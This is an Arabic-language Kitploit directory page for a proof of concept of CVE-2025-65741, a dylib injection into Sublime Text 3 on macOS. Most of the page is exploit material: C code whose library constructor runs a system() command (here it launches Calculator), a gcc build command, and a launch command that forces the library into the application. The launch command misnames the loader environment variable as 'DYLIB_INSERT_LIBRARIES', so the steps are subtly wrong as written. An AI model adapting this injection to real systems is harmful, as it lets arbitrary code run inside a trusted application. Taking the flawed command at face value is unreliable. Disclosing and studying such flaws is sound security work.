Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-65741 — إثبات المفهوم لـ CVE-2025-65741 يوضح حقن dylib في Sublime Text 3 على macOS عبر كود غير موقع، مع حمولة .dylib مجمعة وخطوات الاستغلال. | Kitploit
أدوات/GitHubGitHub/vinicius-batistella/cve-2025-65741
تحليل الثغرات الأمنيةتحليل الكودالاستغلالتطوير الحمولاتاستغلال الملفات الثنائية
GitHubvinicius-batistella/cve-2025-65741

CVE-2025-65741

إثبات المفهوم لـ CVE-2025-65741 يوضح حقن dylib في Sublime Text 3 على macOS عبر كود غير موقع، مع حمولة .dylib مجمعة وخطوات الاستغلال.

عرض المستودع
17منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-65741 - Sublime Text 3 عرضة لحقن مكتبة ديناميكية (Dylib Injection) لنظام macOS

root@kitploit:~
Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS

التفاصيل

لا يتحقق تطبيق Sublime Text بشكل صحيح من حقن الشيفرة غير الموقّعة، مما يسمح للمهاجم بتجميع مكتبة .dylib وإجبار التطبيق على تشغيلها في سياق التطبيق. في المثال التالي، تم إجبار تطبيق Sublime Text على فتح الثنائي calc. تم إصلاح هذه الثغرة في الإصدار Build 3209 وما بعده.

صورة

إثبات المفهوم (PoC)

  1. قم بتجميع كود C التالي كما يلي:
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
	printf("[+] Dynalic Library Injection: %s\n", argv[0]);
	system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
root@kitploit:~
gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib
  1. ثم قم بتشغيله ضد إصدار Sublime Text 3 build 3208 أو إصدار سابق كما يلي:
root@kitploit:~
DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text
تنزيل الأداة